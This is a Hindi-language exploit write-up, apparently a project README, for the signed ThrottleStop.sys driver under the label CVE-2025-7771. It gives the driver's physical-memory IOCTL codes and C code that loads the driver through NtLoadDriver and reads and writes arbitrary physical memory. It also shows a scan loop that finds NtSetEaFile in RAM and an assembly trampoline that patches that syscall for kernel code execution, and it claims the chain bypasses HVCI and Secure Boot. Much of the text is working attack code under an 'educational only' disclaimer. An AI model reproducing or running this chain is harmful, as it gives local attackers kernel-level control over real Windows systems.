
सिस्टम में अहस्ताक्षरित ड्राइवर से थ्रॉटलस्टॉप भेद्यता का उपयोग करके विशेषाधिकार वृद्धि
CVE-2025-7771 — ThrottleStop.sys IOCTLs के माध्यम से मनमानी भौतिक मेमोरी पढ़ना/लिखना
यह परियोजना केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रकाशित की गई है। इसका उद्देश्य यह प्रदर्शित करना है कि कैसे एक हस्ताक्षरित, विश्वसनीय कर्नेल ड्राइवर का उपयोग स्थानीय विशेषाधिकार वृद्धि (LPE) के लिए किया जा सकता है, प्रशासक से SYSTEM/कर्नेल तक, और प्रभावी रूप से आधुनिक Windows सुरक्षा सुविधाओं जैसे HVCI (हाइपरवाइज़र-प्रवर्तित कोड अखंडता) और सिक्योर बूट को बायपास किया जा सकता है।
इस उपकरण का दुर्भावनापूर्ण उद्देश्यों के लिए उपयोग न करें। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2025-7771 |
| ड्राइवर | ThrottleStop.sys ( ThrottleStop के साथ शिप किया गया) |
| विक्रेता | TechPowerUp / Kevin Glynn |
| प्रकार | मनमानी भौतिक मेमोरी पढ़ना/लिखना |
| प्रभाव | स्थानीय विशेषाधिकार वृद्धि (प्रशासक → कर्नेल) |
| CVSS | 8.2 (उच्च) |
| हस्ताक्षर | WHQL / प्रमाणीकरण के माध्यम से Microsoft-हस्ताक्षरित |
| HVCI बायपास | ✅ हाँ — ड्राइवर वैध रूप से हस्ताक्षरित है, CI नीति द्वारा अनुमत |
ThrottleStop.sys को भौतिक मेमोरी मैपिंग IOCTLs के साथ शिप करते हैंThrottleStop.sys कर्नेल ड्राइवर एक डिवाइस (\\.\ThrottleStop) को उजागर करता है जो किसी भी स्थानीय प्रशासक के लिए सुलभ है। यह दो IOCTLs लागू करता है जो अप्रतिबंधित भौतिक मेमोरी एक्सेस प्रदान करते हैं:
#define IOCTL_TS_READ_PHYS 0x80006498 // मनमाना भौतिक पता पढ़ें
#define IOCTL_TS_WRITE_PHYS 0x8000649C // मनमाना भौतिक पता लिखें
0x80006498)इनपुट: ULONG64 PhysicalAddress (8 बाइट्स)
आउटपुट: डेटा बफर (प्रति कॉल 1–8 बाइट्स, OutputBufferLength द्वारा निर्धारित)
ड्राइवर अनुरोधित भौतिक पते को कर्नेल वर्चुअल स्पेस में मैप करने के लिए MmMapIoSpace() को कॉल करता है, डेटा को आउटपुट बफर में कॉपी करता है, फिर MmUnmapIoSpace() को कॉल करता है। भौतिक पते पर कोई सत्यापन नहीं किया जाता है — भौतिक पता स्थान में किसी भी पते को पढ़ा जा सकता है।
0x8000649C)इनपुट: ULONG64 PhysicalAddress (8 बाइट्स) + डेटा (1–8 बाइट्स)
InputBufferLength = 8 + DataSize
आउटपुट: कोई नहीं
पढ़ने के समान तंत्र, लेकिन मैप किए गए भौतिक पते पर उपयोगकर्ता-आपूर्ति डेटा लिखता है। फिर से, कोई पता या श्रेणी सत्यापन नहीं।
ड्राइवर को ThrottleStop (एक CPU अंडरवोल्टिंग/थ्रॉटलिंग उपयोगिता) को सीधे MSRs और हार्डवेयर रजिस्टरों को पढ़ने/लिखने की अनुमति देने के लिए डिज़ाइन किया गया था। भौतिक मेमोरी IOCTLs को संभवतः PCI कॉन्फ़िगरेशन स्पेस या CPU थर्मल सेंसर के MMIO एक्सेस के लिए जोड़ा गया था, लेकिन कार्यान्वयन शून्य सीमा जाँच करता है:
GENERIC_READ | GENERIC_WRITE हैंडल एक्सेस की आवश्यकता के अलावा कोई ACL प्रतिबंध नहींयह एक वैध हार्डवेयर उपयोगिता ड्राइवर को पूर्ण कर्नेल-स्तरीय पढ़ने/लिखने की प्रिमिटिव में बदल देता है।
शोषण श्रृंखला एक स्थानीय प्रशासक खाते से मनमाना कर्नेल कोड निष्पादन तक बढ़ जाती है, प्रभावी रूप से SYSTEM-स्तरीय रिंग-0 नियंत्रण प्राप्त करती है।
मैपर ThrottleStop.sys को %TEMP% में ड्रॉप करता है, HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop के तहत एक सेवा रजिस्ट्री प्रविष्टि बनाता है, और इसे NtLoadDriver() के माध्यम से लोड करता है:
// वर्तमान प्रक्रिया के लिए SeLoadDriverPrivilege सक्षम करें
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// ड्रॉप की गई .sys फ़ाइल की ओर इशारा करते हुए सेवा प्रविष्टि बनाएं
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// NtLoadDriver के माध्यम से लोड करें
NtLoadDriver(&driver_reg_path_unicode);
// डिवाइस हैंडल खोलें
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
नोट: चूंकि ThrottleStop.sys वैध रूप से हस्ताक्षरित है, यह HVCI/सिक्योर बूट सक्षम होने पर भी लोड होता है। Windows CI नीति प्रमाणपत्र पर भरोसा करती है।
डिवाइस हैंडल के साथ, शोषण सिस्टम पर किसी भी भौतिक पते को पढ़/लिख सकता है:
// भौतिक पता 0x1000 से 8 बाइट्स पढ़ें
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// भौतिक पते पर 8 बाइट्स लिखें
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // पता
*(ULONGLONG*)(input + 8) = shellcode_qword; // डेटा
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
शोषण इन्हें हेल्पर फ़ंक्शंस में लपेटता है जो मनमानी-लंबाई स्थानांतरण के लिए खंडित पढ़ने/लिखने (प्रति कॉल 1, 2, 4, या 8 बाइट्स) को संभालते हैं।
मनमाना कर्नेल फ़ंक्शन निष्पादित करने के लिए, शोषण को एक कर्नेल सिस्कॉल हैंडलर का भौतिक पता खोजने की आवश्यकता होती है। यह NtSetEaFile (एक शायद ही कभी निगरानी किया जाने वाला सिस्कॉल) को लक्षित करता है:
LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) के माध्यम से usermode में ntoskrnl.exe लोड करें, NtSetEaFile का RVA प्राप्त करेंRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory) से भौतिक मेमोरी श्रेणियों की गणना करें, 2MB द्वारा कदम बढ़ाएँ, और बाइट्स की तुलना करें:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // त्वरित जाँच
{
read_phys(candidate_pa, verify, 32); // पूर्ण सत्यापन
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // मिल गया!
// ... PsGetProcessSectionBaseAddress के माध्यम से मान्य करें
}
}
}
PsGetProcessSectionBaseAddress(current_pid) को लागू किया जा सके और सत्यापित किया जा सके कि लौटाया गया बेस GetModuleHandle(NULL) से मेल खाता है।एक बार NtSetEaFile का भौतिक पता ज्ञात हो जाने पर, शोषण सीधे भौतिक मेमोरी लेखन के माध्यम से 12-बाइट ट्रैम्पोलिन स्थापित करता है:
; मूल NtSetEaFile बाइट्स (पुनर्स्थापना के लिए सहेजे गए)
; इसके साथ बदला गया:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3